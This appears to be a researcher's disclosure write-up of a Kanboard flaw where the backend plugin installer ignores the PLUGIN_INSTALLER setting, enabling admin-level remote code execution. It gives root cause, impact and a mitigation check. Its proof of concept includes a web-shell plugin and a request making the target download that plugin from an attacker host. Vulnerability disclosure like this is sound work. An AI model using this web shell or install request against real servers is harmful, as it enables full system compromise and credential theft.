TL;DR

An authenticated administrator can bypass security controls in Kanboard and install a malicious plugin, leading to Remote Code Execution (RCE).

Introduction

None
None

This vulnerability was originally reported via GHSA and demonstrates how incomplete security control enforcement can lead to critical impact.

In this post, I analyze the root cause, exploitation flow, and practical impact of this issue, along with a working Proof-of-Concept (PoC).

Overview

While analyzing Kanboard, I discovered a security control bypass that allows an administrator to achieve full Remote Code Execution (RCE).

Kanboard includes a configuration option (PLUGIN_INSTALLER) designed to restrict plugin installation from remote sources. However, this restriction is only enforced at the UI level — not in the backend logic.

This inconsistency allows attackers to directly invoke backend functionality and bypass intended protections.

Root Cause

The issue stems from missing authorization checks in backend logic.

Intended Security Design

Kanboard uses a constant:

define('PLUGIN_INSTALLER', ...);

This is meant to control whether plugin installation is allowed.

The UI correctly respects this setting:

Installer::isConfigured()

Actual Behavior

The backend install() function does not validate this condition:

$installer->install($pluginArchiveUrl); // No security check

As a result:

User request → Backend install() → Plugin download → Plugin execution

No verification of PLUGIN_INSTALLER occurs.

Data Flow

Admin request
    ↓
Direct endpoint access
    ↓
archive_url parameter injection
    ↓
Plugin download & installation
    ↓
Automatic execution
    ↓
Remote Code Execution (RCE)

Proof of Concept (PoC)

Step 1: Create Malicious Plugin

<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
    public function initialize() {
        if (isset($_GET['cmd'])) {
            system($_GET['cmd']);
        }
    }
}

Step 2: Host Plugin

None
zip -r exploit.zip Exploit/
python3 -m http.server 80

Step 3: Trigger Installation

None
None
http://[TARGET]/?controller=PluginController&action=install
    &archive_url=http://[ATTACKER]/exploit.zip
    &csrf_token=[TOKEN]

Step 4: Execute Commands

None
None
http://[TARGET]/?controller=DashboardController&action=show&cmd=id

Impact

This vulnerability leads to full system compromise.

Direct Impact

  • Arbitrary command execution
  • Malicious plugin deployment
  • Persistent access

Extended Impact

  • Sensitive file access (config, credentials)
  • Database compromise
  • Internal network pivoting
  • Long-term persistence via web shell

Why This Matters

This vulnerability is particularly interesting because:

  • Security controls exist but are not enforced consistently
  • UI restrictions give a false sense of security
  • Backend trust assumptions are broken

In real-world environments, this pattern is extremely common and dangerous.

Mitigation

Add proper authorization checks in backend logic:

if (!Installer::isConfigured()) {
    throw new AccessForbiddenException();
}

Key Recommendations

  • Never rely on UI-based security controls
  • Always validate permissions in backend logic
  • Apply consistent security checks across all execution paths

Key Insight

Security features that are only enforced at the UI level are not security controls — they are merely suggestions.

Conclusion

This case highlights a critical lesson:

Security must be enforced where execution happens, not where visibility is controlled.

Even with authentication required, improper authorization handling can lead to full system compromise.

Contribution

  • Identified security control bypass
  • Developed working RCE PoC
  • Analyzed backend authorization flaw
  • Validated exploitation flow
  • Provided mitigation strategy

References

Author

drkim

GitHub: https://github.com/drkim-dev

Team: https://redpoc.github.io/